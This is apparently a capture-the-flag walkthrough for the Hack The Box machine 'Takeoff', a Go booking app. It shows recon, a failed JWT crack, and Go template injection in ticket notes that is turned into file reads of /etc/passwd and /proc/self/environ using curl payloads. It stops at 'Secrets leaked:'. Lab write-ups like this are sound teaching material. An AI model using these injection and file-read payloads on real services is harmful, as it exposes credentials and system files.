Hack The Box - HTB Takeoff Hard - Weekly - October 31th, 2026
From zero to root on a Go flight-booking app. Written so you can understand the theory behind every step and reproduce it.
Difficulty: Medium · Linux · SSTI → LFI → HMAC key leak → signature forgery → RCE → n8n → container escape → root
| Flag | Value |
|---|---|
| user.txt | <capture it yourself> |
| root.txt | <capture it yourself> |
Note. Flag values are intentionally omitted from this copy. This document gives you the full method and theory — the flags are yours to capture by following the steps on a live instance.
Chain at a glance
- SSTI in the ticket notes →
- arbitrary file read (LFI) →
- leak of
TICKET_VALIDATION_TOKENandN8N_API_KEYfrom/proc/self/environ→ - forge the signed QR (HMAC) with our own command → RCE as
www-data→ - internal n8n API (root inside a container) →
- the container's
/rootis the host's/home/kpark→ SSH askpark+ SUID bash → root.
1 · Reconnaissance
Port scan (we use rustscan, faster than nmap for discovery):
rustscan -a 10.129.22.79 --ulimit 5000
# 22/tcp ssh OpenSSH 10.0p2 (Debian 13)
# 80/tcp http nginx -> Go/Echo + HTMX app
Port 22 is a very recent OpenSSH build: unlikely as a vector. The whole game lives on 80. Add the vhost to /etc/hosts:
echo '10.129.22.79 takeoff.htb dev.takeoff.htb' | sudo tee -a /etc/hosts
Theory — why vhosts. One web server serves different sites depending on the Host header. The app validates that Host (the JWT carries iss: takeoff.htb), so we must address it by name, not by IP, or some features break.2 · The application and authentication
HTB Airways: flight booking. Stack is Go + Echo framework + HTMX (the HX-Request: true header makes the server return partial fragments). Sign-up / sign-in:
# sign-up
curl -s -d "name=pwn&email=pwn@test.htb&password=Passw0rd!123&terms=on" \
http://takeoff.htb/sign-up
# sign-in -> returns the session cookie
curl -s -D - -o /dev/null -d "email=pwn@test.htb&password=Passw0rd!123" \
http://takeoff.htb/sign-in | grep -i set-cookie
# Set-Cookie: session_token=eyJhbGciOiJIUzI1NiI... (JWT)
The session is an HS256 JWT. Decoding the payload:
echo "<JWT>" | cut -d. -f2 | base64 -d
{"user_id":2,"exp":...,"iat":...,"iss":"takeoff.htb"}
Theory — JWT and HS256. A JWT is three partsheader.payload.signaturein base64url. With HS256 the signature isHMAC-SHA256(secret_key, header.payload). If we knew the key, we could changeuser_idto 1 (admin) and re-sign it. So the first thing to try is to crack that key.
# save the JWT to jwt.txt and try rockyou
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
# Result: Exhausted -> the key is NOT in the dictionary. Dead end.
Lesson. When the secret is random, offline cracking is useless. We park this path and look elsewhere. The JWT only becomes relevant at the end as a hint (an admin exists, user_id:1), never as the exploit itself.3 · Mapping the app: the ticket, the QR and check-in
Booking flow (all authenticated):
| Step | Request |
|---|---|
| Search | GET /search/results?origin=HTB&destination=GLW&date=... |
| Start | POST /book/start (schedule_id, seat_ids) → PNR |
| Passenger | POST /book/<PNR>/passengers (full_name, dob, id...) |
| Payment | POST /book/<PNR>/payment (payment_card_id) |
| Ticket | GET /tickets/<PNR>/download (PDF with QR) |
| Notes | POST /tickets/<PNR>/notes ← SSTI sink |
| Check-in | POST /api/check-in (qr_data, gate) |
The ticket carries a QR. On the check-in page that QR travels as a hidden field qr_data (base64). Decoding it reveals a Go gob blob that contains a JSON:
{"PNR":"7AS8GX","Token":"2a95...","Seat":"1A",
"Passenger":"John Pwn",
"NotifyCmd":"check-in-notify --pnr 7AS8GX --email pwn@test.htb"}
Theory — what we are looking at. NotifyCmd is a full shell command stored inside the QR. That screams "the server runs it at check-in to send the notification". If we could put our command there, we would have remote execution. The catch: the blob is signed (see §5-7).Dead ends we ruled out (and why)
- IDOR by PNR on
/tickets/<PNR>: returns 404 for a PNR from another account → the server filters byuser_id. Done right. - Card IDOR:
payment_card_idvalues are global (1,2,3...) but paying with someone else's returns 400. Ownership is enforced. - Injection via the email (it flows into
NotifyCmd): sign-up validates the format and only allowsA-Z a-z 0-9 . _ - +. No metacharacters, no newlines. Not possible.
4 · SSTI in the ticket notes
The notes field is rendered inside the PDF. First test (the classic one):
# set the note and download the PDF
curl -s -b "session_token=$TOK" --data-urlencode "notes={{7*7}}" \
http://takeoff.htb/tickets/$PNR/notes
curl -s -b "session_token=$TOK" -o bp.pdf http://takeoff.htb/tickets/$PNR/download
pdftotext bp.pdf - # => prints {{7*7}} literally, NOT 49
Theory — SSTI and why{{7*7}}misleads you. SSTI (Server-Side Template Injection) happens when your input lands in a template the server evaluates. The payload{{7*7}}→49works in Jinja2 (Python), but this app uses Gotext/template, which has no arithmetic operators:{{7*7}}is invalid syntax and stays literal. Go only does field access and method calls:{{.Field}},{{.Method "arg"}}. You have to probe with those.
Correct probe — reach into the context:
curl -s -b "session_token=$TOK" --data-urlencode "notes={{.User}}" \
http://takeoff.htb/tickets/$PNR/notes
curl -s -b "session_token=$TOK" -o bp.pdf http://takeoff.htb/tickets/$PNR/download
pdftotext bp.pdf -
# Notes: {2 pwn pwn@test.htb ...} <-- the models.User struct, printed
SSTI confirmed. The server evaluated.Userand dumped the struct. The template's root object exposes data and, crucially, a.Filemethod.
5 · From SSTI to arbitrary file read (LFI) and secret leak
The template context registers a File method that reads a file off disk. That turns the SSTI into arbitrary file read:
curl -s -b "session_token=$TOK" \
--data-urlencode 'notes={{.File "/etc/passwd"}}' \
http://takeoff.htb/tickets/$PNR/notes
curl -s -b "session_token=$TOK" -o f.pdf http://takeoff.htb/tickets/$PNR/download
pdftotext f.pdf -
# root:x:0:0:... / kpark:x:1001 / vmiller:x:1000
Theory — why/proc/self/environis gold. On Linux,/proc/<pid>/environholds a process's environment variables (NUL-separated)./proc/selfis the process doing the read: since the reader is the web app, we get its variables, which is where secrets usually live (keys, DB DSNs, tokens). A classic LFI post-exploitation move.
curl -s -b "session_token=$TOK" \
--data-urlencode 'notes={{.File "/proc/self/environ"}}' \
http://takeoff.htb/tickets/$PNR/notes
curl -s -b "session_token=$TOK" -o env.pdf http://takeoff.htb/tickets/$PNR/download
pdftotext -layout env.pdf -
Secrets leaked: